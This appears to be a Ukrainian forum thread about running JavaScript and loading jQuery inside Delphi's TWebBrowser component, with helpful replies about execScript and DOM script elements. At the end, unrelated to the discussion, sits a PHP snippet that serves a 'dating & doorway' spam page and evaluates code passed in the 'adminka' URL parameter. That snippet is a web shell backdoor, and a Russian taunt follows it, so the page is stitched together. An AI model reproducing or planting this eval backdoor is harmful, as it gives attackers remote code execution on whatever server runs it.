Тема: Виконання довільного js коду на сторінці за допомогою TWebBrowser

Власне маю потребу підвантажити сторінку у компоненті TWebBrowser і виконати деякий JS скрипт.
Як це все зробити, я зрозумів, тільки не можу зрозуміти одного, як мені підключити скрипт з іншого сайту. Ні, власне як воно підключається я розумію, тільки при виконанні наступного коду:

WebBrowser1.Document.QueryInterface(IHTMLDocument2, Doc);
 HTMLWindow := Doc.parentWindow;
 HTMLWindow.execScript('<script src="http://code.jquery.com/jquery-1.10.1.min.js"><script>', 'JavaScript');

Виникає така помилка:
http://i5.minus.com/ib09NqhDQfRHkn.JPG

Як можна цього уникнути, та підключити скрипт ?

2

Re: Виконання довільного js коду на сторінці за допомогою TWebBrowser

Ніколи такого не робив, але мені дещо дивно, що в метод execScript передається не скрипт, а HTML.

Подякували: Адріян Ігорович1

3

Re: Виконання довільного js коду на сторінці за допомогою TWebBrowser

А взагалі заголовок схожий на пояснення до якогось експлойту... :)

4 Востаннє редагувалося Invader (06.12.2013 20:56:08)

Re: Виконання довільного js коду на сторінці за допомогою TWebBrowser

В документації написано що метод execScript виконує рядок JS коду. Передавати йому рядок який складається з HTML коду не слід. Може, використовуючи DOM, створити в документі елемент script і приєднати його? Можна скористатися execScript для виконання коду який все це і зробить.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Адріян Ігорович, koala2